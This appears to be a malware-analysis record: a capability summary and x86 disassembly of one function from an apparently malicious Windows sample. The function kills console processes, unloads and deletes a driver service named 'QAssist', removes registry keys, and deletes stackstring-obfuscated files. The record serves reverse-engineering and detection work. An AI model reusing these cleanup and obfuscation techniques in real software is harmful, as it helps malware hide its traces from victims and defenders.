Function at 0x10010190
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete registry key
Delete service
Get common file path
Shutdown system
Terminate process

Disassembly:
mov eax, dword [0x1012c4d4]
sub esp, 0x640
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
cmp edi, eax
je 0x100102b0
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_AttachConsole]
push eax
call esi
test eax, eax
jne 0x100101cb
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [edi + 0xc]
push ecx
call esi
test eax, eax
je 0x100101b9
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
lea edx, [esp + 0x40]
push 1
push edx
call ebp
mov esi, eax
cmp esi, 1
jbe 0x10010246
lea eax, [esi*4]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebx, eax
mov dword [esp + 0x34], ebx
push esi
push ebx
call ebp
test esi, esi
jbe 0x1001023d
mov ebp, esi
mov esi, dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x10010233
cmp esi, dword [edi + 0xc]
je 0x10010233
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10010233
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
dec ebp
jne 0x10010201
mov ebx, dword [esp + 0x34]
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_FreeConsole]
call esi
test eax, eax
jne 0x10010260
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
test eax, eax
je 0x10010252
mov ecx, dword [edi + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [edi + 8]
mov edx, dword [0x1012bb58]
cmp ecx, edx
je 0x1001028b
mov eax, dword [ecx]
cmp eax, edx
je 0x10010287
mov ecx, eax
mov eax, dword [ecx]
cmp eax, edx
jne 0x1001027f
mov edi, ecx
jmp 0x100102a4
mov eax, dword [edi + 4]
cmp edi, dword [eax + 8]
jne 0x1001029d
mov edi, eax
mov eax, dword [eax + 4]
cmp edi, dword [eax + 8]
je 0x10010293
cmp dword [edi + 8], eax
je 0x100102a4
mov edi, eax
cmp edi, dword [0x1012c4d4]
jne 0x100101a9
mov eax, dword [0x1012c4b0]
test eax, eax
je 0x100102c2
push eax
call fcn.1005bda0
add esp, 4
push 1
push str.SeLoadDriverPrivilege
call fcn.1001b690
push 0x100fb488
push str.NTDLL.DLL
call fcn.1001b660
push str.ZwUnloadDriver
push str.NTDLL.DLL
mov esi, eax
call fcn.1001b660
mov edx, dword [str.QAssist]
mov edi, eax
push edx
lea eax, [esp + 0x46c]
push str.RegistryMachineSystemCurrentControlSetServices_S
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0x24
lea ecx, [esp + 0x450]
lea edx, [esp + 0x38]
push ecx
push edx
call esi
lea eax, [esp + 0x38]
push eax
call edi
push 0
push str.SeLoadDriverPrivilege
call fcn.1001b690
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x148]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x148]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [str.QAssist]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x148]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x100103dc
push 0x10000
push 0x1011ec82
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x100103d9
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call ebx
push esi
call ebx
push 3
push 0
push 0
push 0
push str.MarkTime
push str.SYSTEMSelect
push reloc.WS2_32.dll_bind
call fcn.10014ca0
push 3
push 0
push 0
push 0
push str.Host
push str.SYSTEMSetup
push reloc.WS2_32.dll_bind
call fcn.10014ca0
push 3
push 0
push 0
push 0
push 0x1011ee66
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.WS2_32.dll_bind
call fcn.10014ca0
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
add esp, 0x54
lea ecx, [esp + 0x34c]
mov bl, 0x6c
mov al, 0x69
push 0x104
push ecx
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x50
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x75
mov byte [esp + 0x29], 0x67
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x56
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x64
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x64
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34c]
push edx
push eax
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x34c]
push ecx
call ebp
lea edx, [esp + 0x248]
push 0x104
push edx
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x67
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0
call esi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x248]
push eax
push ecx
call edi
lea edx, [esp + 0x248]
push edx
call ebp
mov eax, dword [0x1012c4e8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [0x1012c4f8]
mov esi, dword [sym.imp.MSVCRT.dll_free]
push ecx
call esi
mov edx, dword [0x1012c4fc]
push edx
call esi
add esp, 8
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x44]
test eax, eax
mov edi, str._sysnativedrivers_
jne 0x1001058b
mov edi, str._system32drivers_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [str.QAssist]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
mov eax, dword [0x1012c4c0]
pop edi
pop esi
pop ebp
test eax, eax
pop ebx
je 0x10010633
push 0x1012bb80
push eax
mov dword [0x1012bb84], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
call fcn.1001ea60
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]